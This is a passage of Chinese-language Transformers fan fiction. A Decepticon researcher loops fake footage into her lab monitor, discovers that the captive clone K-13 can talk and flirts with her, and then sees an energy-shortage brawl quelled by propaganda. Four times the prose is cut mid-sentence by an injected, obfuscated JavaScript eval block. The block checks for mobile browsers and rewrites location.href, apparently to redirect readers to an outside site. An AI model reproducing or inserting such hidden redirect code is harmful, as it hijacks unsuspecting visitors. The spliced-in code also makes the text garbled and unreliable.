成就感流过照明的全身,要知道在她刚接手时,检测仪危险的红色昭示着前任研究员对于实验体的毫无关心和无情对待。 巨狰狞的恢复能力比普通赛博坦人要强,现在可能不是K-13的全盛水平,不过也已很不错了。 她又详细观察了K-13,运行了体内的生物计算机,提高了扫描的精度。 结果再次显示一切正常。奇怪。 照明微微皱眉,坐回终端前,试图继续阅读数据板。 “邦、邦邦邦。”K-13又敲了几下隔离仓壁。 等照明站到隔离仓前,它又不敲了,只是刷新了几下光学镜,盯着照明瞧。 照明试探着走开两步。 “邦邦邦!” 照明忍不住怀疑它在逗自己玩。她鼓起面甲喃喃:“你想要什么?” 几个周期前压下去的疑惑又浮上水面:K-13有高级认知吗? 都是硅基生物,那么赛博坦人是如何区别于涡轮狐狸或者机器狗呢? 最大的区别应该就是由魔力神球赋予的个性元件和相应的高级模块。 火种源给予他们跳动的火种,赋予他们生命;魔力神球会对个性进行编程,此时这个变形金刚才真正地具有思想和情感。 照明看着K-13,忽然,一个可能性在她处理器里停留。 且不说有没有高级认知,考虑到之前发生的事情,它起码具有一些自己的“意图”。 也许K-13只是……“无聊”了? 照明的视线转移到总控终端上的监视器;监视器正一如既往的忠实运行着。 之前她都是偷偷看、偷偷玩,光明正大偷懒明面上还是过不去的,万一黑骑士猛地想起她这里,打算看看监控录像呢? 现在要带K-13一起,倒是有个办法。 照明裁剪了一段过去几个循环她认真工作的视频,然后将视频设置为循环播放,替换了监视器的当前视频。 考虑到她的动作是如此轻车熟路,她肯定不是第一次这样干。 只是从前还有要提交的工作,所以摸鱼溜号难免受到打扰。 “哦对,差点忘了这个。”照明说着,把总控终端的收音设备也关掉了。反正实验室里也是一片寂静,没声和有声差不了多少。 照明能察觉到K-13目光中的好奇,像是在揣测她又要玩什么花样。 “开始了。”照明冲K-13眨眨光学镜。 她左肩上的探照灯筒亮起。 这次没有高温激光之类的武器发射出来,取而代之的是一道光束,在隔离仓对面的一整面墙壁上投下影像。 从前作为外围文员时,她就经常和风语一起偷偷利用空余时间看视频。 内线里分享完还不够,照明往肩炮上加装投影功能继续看。 上梁不正下梁歪,组长带头摸鱼,后勤部其他小兵也一起扒门缝偷偷看;被风语抓获后,她慷慨地允许他们一起看,只要缴纳自己下载的一个离线视频,毕竟研究所内不允许随意连接人类的网络。 小兵们交上来的视频让照明惊叹于霸天虎成员业余生活的丰富程度。 可惜她的探照灯不是粒子全息枪,投影个2D视频已经是极限,没法做出什么特别逼真的3D投影幻象。 如果要找一个差不多的项目进行类比,大概类似人类的汽车影院放电影那样。 找着找着,照明眼前一亮:“奇方世界冠军杯?以前怎么没看到过这个呢?” 她把这个投影了出来。 这是一场铁堡队VS莫邪天城队的世界级比赛。选手们正在激烈争夺充满能量晶体的奇方。 一个跑车迅速变形,一车头创飞持有奇方的选手,又再次变形抢下奇方。 被注入过初级AI的蓝色晶体在他手里挣扎,但他的双手还是稳稳地抓着它;最终,随着无人机裁判倒计时的结束,他高举双手,高兴地吸收了奇方里的能量。 K-13又开始敲仓壁了,节奏慵懒,像是某种打发时间的游戏。 “不感兴趣吗?” 照明思索片刻,换了个视频。 主持人激动到破音:“极速星!最快的星球举办的多重障碍竞速赛!” “让你的车轮滚遍每一个赛车场的路面吧!” 来自极速星的赛车手们在汹涌的沙暴中穿梭,避开正在崩塌的沙丘,他们以几乎不可能的精确度调整了轨迹。 观众们欢呼着,领先的赛车手的涂装是浅蓝和深蓝交织的,这让他看上去像一道蓝色的闪电。 他在千钧一发之际完成转弯,擦着隐藏的能量漩涡飞过,那漩涡吸入了好几个跟在后面来不及转弯的机子。 敲敲敲。 “还是不感兴趣?” 照明于是继续播放下一个录像。 这个录像是漆黑的,有时候透露出几点晃荡着的昏暗的光,可能是某个小兵不小心开了自己的录像设备。 “进化……必定会导致变革。” 照明刚想切换视频,充满力量感的威严声音让她停下动作:“只能在克隆巨狰狞造反之前根除他们……” 啊哦,这是什么? 这分明是威震天大人的声音! 一个陌生的机子接话道:“万一我们的背叛让那个喷火的兽人察觉了怎么办?” “为什么要假设我们是要亲自动手呢?”嘶哑圆滑的声音响起,极具辨识度,应当属于某位空军指挥官。 “……发现是汽车人干掉了他的战友……我们手里的这只野兽说不定会反过来消灭……或者被……” 声音就此终止,视频倒是晃了几下亮起来,应该是录像的机子后退了几步,露出一堆高高堆起的能量块储存箱。这场景像极了报应号上的储物仓库。 视频又大幅度抖动了好几下,扫过昏暗的仓库,然后归于一片漆黑。 等一下。因为观看速度过快,所以当脑模块意识到看到了什么内容的时候,一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205170|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经来不及了。 好像知道了什么了不得的事情。 后勤部物资供应组那帮小兵到底传了什么视频过来啊!! 如果视频不是伪造的,看这里面的意思,汽车人炸了进行巨狰狞计划的实验室,倒像是霸天虎领袖的授意。 照明嘴角抽动,莫名心虚地看了K-13一眼。 不过它应该没听懂吧…… —————— K-13敲着隔离仓:“邦、邦邦邦。” 这果然吸引了那个小研究员的注意。小研究员先是给她做了全身检测,又用自带的仪器扫描了她。 一切正常,废话,当然正常。K-13从未那么好过,感谢这个不知为何会在意实验体健康情况的机子。 接下来小研究员会发现自己是在耍她玩吗?她会生气吗? 无论发生什么样的情况都不要紧,K-13可以等待,等待那个她希望发生的结果。 那是由于实验体的异常行为,研究员很可能进入隔离仓检查,由此必然带来的结果——接触。 为了下一次成功逃离,她需要与外界接触,收集信息。 K-13已经有了一个想法。但是如果她一直被关在里面,计划根本无法进行。 新来的小研究员或许是一个契机。 只是她这么多周期都没有实际上的行动,K-13眼睁睁地看她有时候和自己吐槽几句工作,有时候看着数据板露出诡异的笑容,等啊等啊,就是没有等到她对自己进行实验。 小研究员关掉了监视器,关掉了收音设备。她要干什么? 不管是什么样的检查,K-13都已经准备好了。 ——除了这个。 K-13依旧维持着波澜不惊的表情,内芯却充满了不知名的复杂情绪。 这不是她预期的反应。 那个小研究员坐在实验终端旁,懒洋洋地切换娱乐视频,就像她不是在研究和看守危险的实验体,而是在照看一个无聊的幼生体。 在一段时间里,K-13没有动作,只是注视着赛车手们在沙暴中的赛道上穿梭。 领先的蓝色涂装车手故意做了冲刺的假动作,这是个陷阱,但他的对手显然没有识破。果然,他灵敏地躲过能量漩涡,借此甩掉了身后的好几个机子。 取得胜利要靠力量和速度远远不够,技巧和谋略才能决定谁是最后的赢家。 要取得自由,也是一样。 下一个视频确实出乎她的预料。 不过她也不关芯谁炸了那些和她一样的机,她对巨狰狞种族没有那么多归属感,甚至不认为那些在培养仓内蜷曲着的东西是她的同胞。 立场、身份、对错。都是一样可笑。 K-13不在乎善恶,只要她高兴就行。 抓住合适的时机很重要。既然歪打正着,小研究员关掉了监控设备,那合适的时机或许就是现在。 她喜欢赌博。赌一把小研究员会不会告状吧。 于是K-13清了清很久没用的发声器。 然后她开口:“很有趣。这就是你进行实验的方式吗?和我一起看视频?” 9. 不是野兽 “很有趣。这就是你进行实验的方式吗?和我一起看视频?” 一个陌生而优雅的声音在实验室内回响。 “谁!” 照明惊疑不定地环顾四周。汽车人上次的突袭给她造成了一点心理阴影。 实验室没有外人,只有她和K-13。 K-13冲她眨了眨一边的光学镜。 照明的光学镜因为惊讶而大睁。 K-13在说话? 它会说话,还有它的说话方式。 那么柔和、亲切又俏皮。这多么不像野兽……几乎像一个有思想和情感的赛博坦人。 照明从未和其他人一样把K-13当作一个无脑的生物。甚至在K-13真正说话之前,它的举动和反应就有些奇怪。但怀疑和确认是两种不一样的感觉。 知道K-13具有思想和情感,这件事对照明的冲击比想象中要大得多。她的光学镜闪烁着,仿佛第一次看到它一样扫视着K-13。 不,不是“它”。是“她”。 在她开口说话之后,K-13看起来和其他正常的变形金刚没有区别,完全一样。 不过“完全一样”的说法也是有点偏颇的;如果要照明说实话,K-13比她见过的大多数变形金刚都要有魅力。 她就像是那种会成为油吧焦点的机子。 只要她笑一笑,油吧的一半客人都会迫不及待地吩咐侍者给她上一杯免费的高纯,只为获取一个搭讪的机会;另一半客人要不是没装光学镜,要不就是已经有火种伴侣了。 在最初的惊讶过后,记忆库给了照明沉重一击——哦不,想想她之前干过的事情、说过的话。 现在她意识到她曾经的所作所为有多么直接。 她的处理器迅速调用记忆文件,回忆起在K-13面前随意提到的一切。 她曾带着一种近乎欣赏艺术品的情绪抚摸K-13的双角。 还有那句低声的评论,说战斗导致的机体损伤和能量液泄露也“别有一番风味”。 甚至有一次她不经意地赞扬了K-13胸甲的对称性——对称性!就好像她是在博物馆观赏一个特别精良的机体模型。 普莱姆斯,请告诉她K-13不记得那些事。 照明更加决心要死死守住“火种融合”这个实验的目的,她已经足够尴尬了,不需要K-13知道这个让她更加丢脸。 K-13仍然带着那种逗趣的目光看着她:“你太安静了,小研究员。你在想什么?” 照明强迫自己集中注意力:“我只是在思考。” “噢?” “你一直在听我说话吗?” “当然。你是唯一值得我倾听的人。” 一股热气蔓延上了照明的面甲。 不管怎么说,还有一个问题。 碳基的幼生体需要好一段成长时间,还要经过被称为“教育”的漫长过程,才能学会他们自己的语言。 赛博坦人就不一样了。 机子正常来说下流水线时就会装载相应的模块,会自然而然地掌握赛星语言,实在不行也能通过后天读取相应数据习得。 不过克隆而成的实验体在没有得到数据或“教育”的情况下不应该会说话。 前任研究员炸药的实验记录里也从未提及交流和沟通。在记录里,实验体甚至没有具有高级认知的迹象。 照明问:“你一直都会说话吗?” “是的。”K-13给了一个简单的答案,但是没有解释她是怎么学会说话的。 为什么突然开口?为什么是现在? 照明谨慎地询问:“那你之前为什么不说话呢?” K-13垂下光学镜。不知道是不是照明的错觉,K-13金色的、美丽的光学镜似乎黯淡了一点。 “你有在听我说话吗?” “因为他们从不听。他们也不会听。”K-13突然开口,“无论我做什么,他们都不在乎。即使我尖叫,他们也从来不会停止实验。” 她的语气中没有苦涩、没有愤怒。只是在陈述一个简单、不可否认的事实。 照明攥紧了双手。 K-13继续说道:“但是我知道,你是不一样的。我觉得你在乎。事实证明我猜对了。” 她微微倾斜着头,声音变得柔和,嘴角带上笑意:“因为你关心我……不是吗?” 照明的燃油泵莫名奇妙加速了,火种在她的胸甲里起舞。 “呃……嗯……”她含糊着,中央处理器好像暂时停止了运转。 “他们叫我K-13。但你已经知道了。你的名字是什么?” 不行,这简直就是犯规。对话的节奏已经完全被K-13掌握了。 照明挺直了身体,眼神变得锐利,希望这能让她看起来更具有研究员的权威。应该是她来主导这场意料之外的对话。 “不能这样。我先问你一个问题。你回答后,如果我对答案满意,你才能问一个问题。” K-13态度良好:“我的荣幸。请问,我会知无不言的。” 照明问:“你是怎么学会通用语的?我可不认为黑骑士会给实验体赛博坦语这种多余的数据。” “黑骑士?没听说过。但我猜她不是我的创造者。你知道我无法变形,对吧?” 在得到照明的点头确认后,K-13轻松地继续说:“然后你也应该知道,我的“兄弟姐妹”都是来自远古克隆巨狰狞的克隆体。他们都是在自己的变形形态被克隆出来的——当然这一点我也是之后才意识到的——而我和他们却不一样。起初,我不明白为什么我与众不同,但显然,这让我的创造者觉得很疑惑。” “不知道为什么,他并没有让我尝试变形,而是做了其他事情。他提前把我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205171|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从培养仓里拉出来。他进行了测试。他观察着我。最后,他把我连接到终端,开始向我输入数据。” “那些数据只是基本的生存信息,一些需要遵循的命令,实验的标准。但幸运的是,我可以继续学习,直到有人决定把我弄下线然后带到这里。可能就是你亲爱的黑骑士干的呢。” 照明没有说什么,但是K-13知道她在认真倾听,处理着每一个字。 其实小研究员根本就不用这样。一个问题换一个问题?就像她们是平等的个体似的。K-13敢肯定得知她具备语言能力后,前一个研究员肯定会发明出更多折磨人的手段。但K-13也不打算提醒小研究员,现在的进展已经很不错。 照明继续问:“那又是什么让你决定现在开口?” K-13半眯着光学镜,声音带着一丝戏谑:“这么严格呀。好吧,好吧……为什么现在?因为现在才是关键。” 照明皱眉。这不是一个真正的答案。 正当她要再进一步询问时,K-13说:“我已经连续回答了你的两个问题。现在轮到我了。” “让我想想……我想知道你的名字,还有……” K-13举起手,用爪子尖尖轻轻敲击自己的下巴,仿佛在思考。 “你觉得我漂亮吗?” 什么。 看到照明愣住,K-13露出了一个狡黠的微笑。 “我记得你之前说过的话。似乎某人之前对我有些相当恭维的评论。你喜欢你所看到的,对吧?” “如果你还是好奇,随时可以近距离看看。”K-13停顿一下,然后调皮而迷人地低语道,“来吧。你可以摸摸。” 照明的散热系统轻微过载了一瞬。 她努力尝试说出一个让自己不那么窘迫的回应:“这不重要。” “你在回避我的问题。但没关系。我已经知道答案了。” “我的名字是''照明''。”照明迅速说出自己的名字,试图把话题扭回正轨。 K-13歪头,似乎在细细品味这个名字。 她拉长音调:“真合适。一个恰如其分的美丽的名字。” 值得庆幸的是,内置程序提醒照明,是时候下班了。 照明关掉大部分的实验仪器,检查了隔离仓的监测设备,尽量不让自己的慌乱被K-13看出。 K-13的视线跟了过来。 “对了,关于我们今天的对话……你会向上级报告吗?还是你愿意把这当做我们之间的小秘密?” 照明知道监视器和收音设备都没在运转。除非她在报告中主动汇报,没人会知道实验体K-13其实会说话。 照明僵硬了几纳秒,嘟囔道:“我可不想给我的工作平添麻烦。” 在走出实验室前,照明听到K-13带着笑意的声音:“之前的研究员让人烦透了,但你还不赖。” 10. 亲爱的 第二天早上,照明迈向实验室的步伐有一丝迟疑。 痛苦的新周期又开始了。 她昨晚又没能好好充电,睡眠不足,奇怪的碎片信息一直在她的处理器里盘旋,像做了一场噩梦。 昨天K-13是真的说话了吗? 又或许这只是自己昨晚充电没充好引发的一个记忆文件错误? 照明无精打采地走出载梯,实验室的门在她面前自动打开又关闭。 “早上好,小研究员。一个美好的循环,不是吗?” 噢。这不是幻觉或者记忆文件错误。 她真的和实验体交谈了,还因为对方的几句温言软语,就火种加速得像个堕入爱河的年轻机子。 不过K-13确实挺美的…… 不对不对……怎么又在胡思乱想了,只是单纯的欣赏大型机的外表而已。 照明嘟囔道:“我有名字。不要那样叫我。” K-13回答:“好的,小研究员——只是开个玩笑。照明。” 照明背对隔离仓,忍不住抿嘴一笑。 这两个兆循环也不是完全轻松,照明芯里清楚自己不能一直拖,事情不会自然而然得到解决;但她只是不愿面对。 照明决心今天真正做一些工作。 她不知道黑骑士什么时候会来催进度,但是她很清楚,摆烂是有个限度的。 关于这个限度,她向来掌握地恰到好处,这就是她能在各种岗位上顺利苟且偷生到现在的原因。 只是现在多了一个很大的、活动的干扰因素。 她看到之前,就感受到了身后K-13的注视。 这一道视线在热烈地盯着她,有一种强烈的存在感,让她有点坐立不安。 “照明。” 照明假装没听见。 “照明~” 照明并不理会。 “亲爱的,不要忽视我嘛。我会伤心的。” “也不要叫我亲爱的!” 终于争取到了照明的注意力,K-13满意道:“好的,甜芯。” 照明:“……又怎么了。” K-13说:“我不知道。我感觉哪里有点不太对劲。你可以进来检查一下我吗?” 照明抬起一边的眉毛。 思索了片刻,她还是走向终端,给K-13上了限制器,决定进入仓内检查一下。 限制器到位,确保K-13活动受限,照明进入隔离仓。 虽然实验室的外表普通,但照明早就发现了这个实验室物理上的安保等级很高,有很多针对K-13的措施。能量场依然将她们与外界隔开,防止K-13突然脱逃。 在K-13的要求之下,照明卸下K-13的部分外甲。 那重量在她的手中很明显,提醒着她与K-13之间的体型差异。 照明不算小型机,作为一辆军用探照灯车,她的体型是赛博坦人的平均水平。 但K-13要高出她很多,给她一种被大型猛兽盯上的压迫感。近距离观察,这种对比更为明显。 当照明仔细检查暴露在空气中的电路时,她的光学镜闪烁着专注的光芒。 她之前在维修的过程中就见过K-13外装甲下的复杂线路,但此时的她,看着K-13的机体,芯里又是全然不一样的一番感受。 变形金刚的内部构造是各种组件、模块和管线等等一系列错综复杂的连接。 在外装甲下还有原生质,当变形金刚的外装甲或内部组件受到损伤时,原生质能够通过调整和修复自己的结构,修复损伤,甚至恢复某些关键部位的功能。 K-13的设计有些很古老,有些则令人惊讶地先进。 照明低头检查,用指尖轻轻划过一条燃料管线,感受到能量液在K-13的机体中轻快地流动。 尽管被限制器限制了行动,K-13还是在用言语来干扰照明的检查:“怎么?我让你感到紧张吗,照明?” 照明无奈地说:“如果你不一直那样盯着我看,我会检查得更快。” K-13故作委屈:“我只是无聊嘛。” K-13的外甲表面不那么亮了,绝大部分地方的涂装已经剥落。 也许稍微抛光一下能让她看起来好一些? 不过她手头也没有这种机体美容设备。 任由想法在脑回路里胡乱奔跑着,照明做完了所有她了解的物理检查。 “看来没什么问题。”照明咕哝着,与其说是对K-13说的,不如说是自言自语。 “但是有些地方很疼。” 照明怀疑地打量着K-13。 除去抛光问题以外,K-13好得不能再好,换一个身份都能直接去参加铁堡5000选美大赛,顺便能拿个冠军的那种。 检测读数中没有显示出任何不适,然而K-13开口说话,明确地表达不舒服。 虽然不认为还有什么她没检查出来的伤口,但照明还是问:“是哪里疼?” K-13犹豫了一下,仿佛在努力确定受伤的位置。 然后,她微微移动身体,露出她胸甲附近原生质上最轻微的划痕。这几乎算不上一个痕迹——在标准的医疗检查中甚至不会被视为损坏。 照明叹了口气:“那看起来不严重。再晚说一点恐怕就要愈合了。” K-13:“但它仍然很痛。” 照明开始觉得K-13和有些胡搅蛮缠的幼生体没什么两样。 “扫描仪显示没什么问题。我不是专业医生,别指望我,但我会研究一下。” —————— 面对实验终端,数据流在照明面前滚动着。 基于火种片段的融合是一个很复杂的实验,也很不符合幼生体“自然”的产生方式。 在战火还没席卷赛博坦、科学院还没被炸成一片焦土的时候,这种实验被很多原教旨主义的机子贬斥为对于火种源的亵渎。 但是霸天虎是什么组织,亵渎啊神灵啊完全不在霸天虎领袖的考虑范围内。 伊迪斯之前把汇总的资料和实验记录发送给了照明。照明对有前人对此进行过研究毫不意外。 这个前人,出乎意料又在情理之中,自然又是震荡波长官。 只不过从当时的实验记录来看,这两个不知道从哪里提取的可怜片段虽然确实产生了一个新的火种,但小火种在培育箱里挣扎不到一个周期就熄灭了。 之后震荡波长官就没有继续这方面的实验,他的注意力转向如何高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205172|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效地在产出量产机,以此扩充威震天大人的军队,更好地对抗汽车人。 量产机不需要火种,但其实他们也具有思想和情感。 连震荡波长官都没有完成的实验,交给毫无研究基础的她真的可以吗? 或许伊迪斯也只是看似好芯地提供给她一个根本不可能成功的选择。 在片段的外部火种结合实验失败后,黑骑士肯定会直接让她们火种融合的。 她打开火种监护仪,观察K-13现在的情况。 数字和波形描绘出K-13火种核心的振动模式。 读数终于稳定了。 换言之,现在K-13可以进行火种分裂了。 K-13的火种显示出非凡的韧性,考虑到她的起源和经历,这几乎是个奇迹。 照明第一百次叹气,把目前指标的完成情况写成报告,如实地汇报给伊迪斯。 根据她的经验,不管有没有成绩,在工作过程中就是要和领导多汇报,别嫌事小,尾气大点事也要汇报。 在内部通讯里发送完报告后,照明再次审查了刚刚的检查结果,眉头紧锁。 没有物理损坏,也没有内部问题。事实上K-13毫无故障的迹象。 忽然照明灵光一闪。 她看向了坐在隔离仓室内的K-13,她的光学镜暗淡着,好像很疲惫。几滴蓝色的能量液体仍附着在她的装甲上,这是她最近摄入的证据。 也许这就是问题。 K-13比她第一次见时好像变得更大了。 她的机体曾经适应每日两次吸收能量液这样的供给水平,但现在可能已经不够了。 如果她的系统需要更复杂的营养平衡,这就可以解释所有她异常的行为——焦虑、寻求关注,甚至首次发声。 唉,额外的工作。不过也是她应该做的。 照明迅速将一份报告输入到她的数据板上,请求修改K-13的饲养方案,预防以后出现并发症。 手指在数据板上轻敲几下,确认报告提交成功。 照明原以为这需要等上一段时间,然而下一纳秒,系统便反馈了审批结果——伊迪斯直接批准了修改请求。 批准文件上面有伊迪斯的签名,但附带的还有一行补充说明的文字:[已转发至后勤部进行资源分配。等待最终确认。] 但几个分循环过后,后勤部却直接拒绝了。 照明奇怪地点开拒绝理由,结果只看到一行简短的回复:[请求被拒绝。资源不足。请条件允许时再申请。] 照明盯着那行字,芯里升起一丝不安。 她原本以为K-13的饲养方案调整只是一件小事,毕竟实验体的健康状况直接影响实验成果,可现在后勤部居然连这么点资源都不批? 如果伊迪斯批准了,那就意味着拒绝是直接来自后勤部门。如果后勤部门阻碍了一个实验项目的资源调整,那肯定有原因。 照明看了看K-13,解释了一句:“我需要出去一会儿。” 她不妨去具体了解一下原因。 “有什么事情出问题了吗?” 见照明没有回答的意思,K-13立即放弃询问,转而微笑着说:“别花太长时间。我已经开始想你了。” 11. 和平之路 走廊比平时明显拥挤。 初级研究所的后勤部门主要由两个小组构成,一个是风语领头的物资供应组,另一个是此刻在忙碌的设施维护组。 拖车穿梭往来,运送着装满实验设备的货箱,看起来不似平常的设备,而是更加先进的东西,有些还沾着冰雪。几个高级研究员在通讯设备中大声地下达命令。 空气中的紧张气氛已经到达了一个峰值。照明不需要查看最新通知就知道,一定有什么事发生了。 物资供应组没有那么忙碌,但留守的机也比以往少,只有几个还在终端前核对着什么东西。 照明走向最近的机子,以随意的语气打探道:“风语在哪里?” 机子几乎没从数据板前抬头。 “好几个周期没见过她了。”他咕哝道。 这让照明停顿了一下。“好几个周期?” 机子耸了耸肩,动作缓慢。“可能是?我也不知道。忙死了,希望她快点回来。” 照明之前认为K-13的能量供给不应该成为一个大问题,一部分原因是这是合理的资源请求,另一部分原因就是风语。 即使其他人有可能会基于嫉妒等复杂的芯理故意卡照明的申请,风语也是最不可能这样做的机子。 但现在风语根本不在?这很奇怪。 风语的职位不是那种需要经常出外勤的工作——她曾经多次抱怨过这一点。 暂且按下隐隐的担忧,照明正要转向行政办公室去问问情况,能量供应处附近忽然爆发了一阵骚动。 能量供应处靠近后勤部,就在她的行进路线附近,骚动的动静太大,她想无视也难。 于是照明向着混乱的源头走去。 那里早就围了一圈机子了。 他们面甲上的表情不是平常那种事不关己的八卦态度,而是有点义愤填膺的味道。 在人群的中央,有两个机子正相互对峙。 用“对峙”来形容还是有点太文雅了,事实上他们已经滚做一团,一个把另一个按在地上,骑在他的腰间,按着他的双手。 占上风的那个机体比较魁梧,看形态和装备,应该是安全保卫部的量产机警卫。被压在地上、面甲破损的那个,看起来是个轻型载具,大概是科研部门的研究员。 “你偷了我的配额!把能量块交出来!”量产机警卫咬牙切齿,把愤怒的咆哮丢进对手的音频接收器里。 研究员虽受制于人,但听到这话,不服气道:“渣的,别诬陷我!谁说那是你的?” 照明不动声色地观察着周围围观的机子。站位隐隐将阵营划分开来:一部分靠近量产机警卫,显然认同他的指控,另一部分则站在研究员身边,认为他只是个倒霉的替罪羊。 “系统显示它已经被领走了!不是你这个故障那又是谁拿的?!” “去你流水线的吧,这又关我什么事啊?我排队领的!你要怪就去怪那些分配系统的废物!” 渐渐有更多的机子低声议论。有人交头接耳,有人冷眼旁观,有人机体微微前倾,好像随时准备加入,将局面变得更加混乱。 照明已然从中捕捉到了足够的信息。看来能量配额所剩无几。或许有人拿走了超过他们份额的部分? 不安感在芯头加剧。 比起能量短缺,其实还有更值得担忧的事情。 研究所的机子向来讲究秩序,他们不会轻易发起一场暴力冲突。但现在,这种曾经的秩序正在崩坏。 照明小心地绕出人群,以免被卷入即将发生的混乱。 她的光学镜头转向了能量供应处的管理员,希望他做点什么,却发现他正在人群外探头探脑,犹豫不决。 他犹豫着,或许是害怕引起众怒,或许是不想成为两个愤怒且饥饿的士兵的调解者。 忽然好些机转移视线转而朝着门口张望,有一个机子走进了能量供应处,带着冷酷而不容置疑的气势。 照明不用看就知道是谁。 泽卡莱亚到了。 帮自己的长官处理各种麻烦,可能是所有副手被迫肩负的职责,连研究所副所长也不例外。 副所长的到来让现场的气氛瞬间一滞。打斗的两机下意识地停下了动作,围观的机子们微微后仰,仿佛本能地想要拉开一点距离。 泽卡莱亚面无表情地环视一圈,所有机子都条件反射般避开她的目光,就像避开有害射线似的。 然后泽卡莱亚提高声音,平淡地说:“安静!” 她的音频模组中没有任何愤怒的成分,只有命令。 但这就够了。 所有机子本能地执行,有些机子甚至因为声音的震荡捂住了刺痛的音频接收器,但是效果显著,能量供应处从来没有这么安静过。 泽卡莱亚的视线落回到被围住的两名打架的机子:“解释刚刚发生的事情。” 量产机警卫和研究员对视了一眼,踌躇一瞬,但最终还是开口,把“能量块神秘消失”的经过讲了一遍。 能量块是通过分配系统发放到个人的,有总量的限制。这个警卫发现自己的能量块被系统标记为“已领取”,但他根本没拿到。他去质问管理员,但管理员也无能为力,因为系统确实显示物资已经发放。 这个研究员手上有多余的能量块,让警卫认定就是对方对自己的配给动了手脚,虽然研究员反驳说自己拿的只是以前存下来的能量块,但不客气的质问在连续的繁重工作和短缺的能量中,逐渐就升级成了斗殴。 听完解释,泽卡莱亚微一颔首。 她走上前去,抬手精准地扣住警卫的肩部关节部件,同时按住研究员的腕部动力轴,用一股强劲力道直接将两机分开。 两个机都试图挣扎,但泽卡莱亚的力道沉稳而精准,机体接触的瞬间,两个机子体内的运转系统都发出了警示;泽卡莱亚掐住的,正是他们动力核心附近的关键关节。 “当众斗殴是违规行为。分配系统的物资调配错误不应该这样解决。” 她低头,扫了一眼地面上因为打斗掉落的能量块,接着继续宣布:“违纪处罚:各自扣除一周期能量配给,记录在案。” 没等两个机提出抗议,泽卡莱亚继续,这回是面向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205173|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现场所有的机子:“能量资源紧张,是因为汽车人入侵时摧毁了本研究所的主要能量储备。我们仍然在战争之中。这不是系统错误,也不是贪污。这是战争带来的必然代价。” 围观的机子们微微骚动,有些机子皱起了眉,但没有人开口反驳。 泽卡莱亚继续道:“同时,报应号是当前领袖战略的核心,所有的资源都必须优先向前线倾斜。首要目标是重建赛博坦。这是来自总部的指令。” 她的目光扫过研究员和警卫:“互相攻击无法解决问题。” 警卫咬紧牙关,低头不语。 “……我们不应该互相攻击。”泽卡莱亚漠然重复道,“正如威震天大人所言:我们必须重铸秩序,让正义得以伸张。” 她吐出的每一句话都像是在敲打在场机子的中央处理器。 “所有我们渴望的只是平等,废除不公平的律法,以及和平能遍及赛博坦的各个角落……” “是汽车人选择攻打我们,让我们别无选择。” “我们的声音,才是赛博坦的心声。” 最后她以自己的话总结道:“属于霸天虎的时代就要降临,让我们作为伟大事业的一部分,一起继续为我们所相信的赛博坦而战斗。” 泽卡莱亚的语调平板,没有情绪波动,没有威震天大人曾经的慷慨激昂,比不上霸天虎领袖当时演讲的万分之一,但照明看着四周机子们的反应—— 那些低垂的光学镜缓缓抬起,那些犹豫的眼神变得坚定,那些焦躁不安的机体似乎在刹那间平静了下来。 饥饿、疲惫、愤怒,在这一刻都变得无关紧要。他们仿佛集体被打了一针电路加速器,全新的东西替代能量在他们的机体里燃烧。 那是希望。 —————— 照明比谁都清楚,希望是最锋利的武器。 泽卡莱亚擅长处理问题,虽然她个人并不理解所谓的情绪,但她应该是单纯分析出用这种方法能够起到效用,利用对领袖的崇拜与政治话术,让军心重新凝聚。 短短几句话,就把所有的不满、愤怒、不安,重新归拢到了同一个目标之上。 是的,能量块不足,但那是因为战争。 是的,我们在受苦,但我们的敌人应该遭受更多的痛苦。 是的,我们会饿,但我们是为了更伟大的未来而饿着。 言辞是最能蛊惑人心的东西……要是照明不那么迷茫,她也会很心潮澎湃的。 没给她进一步纠结迷茫的时间,机子们纷纷散开回到工作岗位。 既然知道了不是被刻意针对,暂时也没什么解决的方案,照明就打算回到实验室再想想办法。 就在这时,她看到了能量供应处的角落。 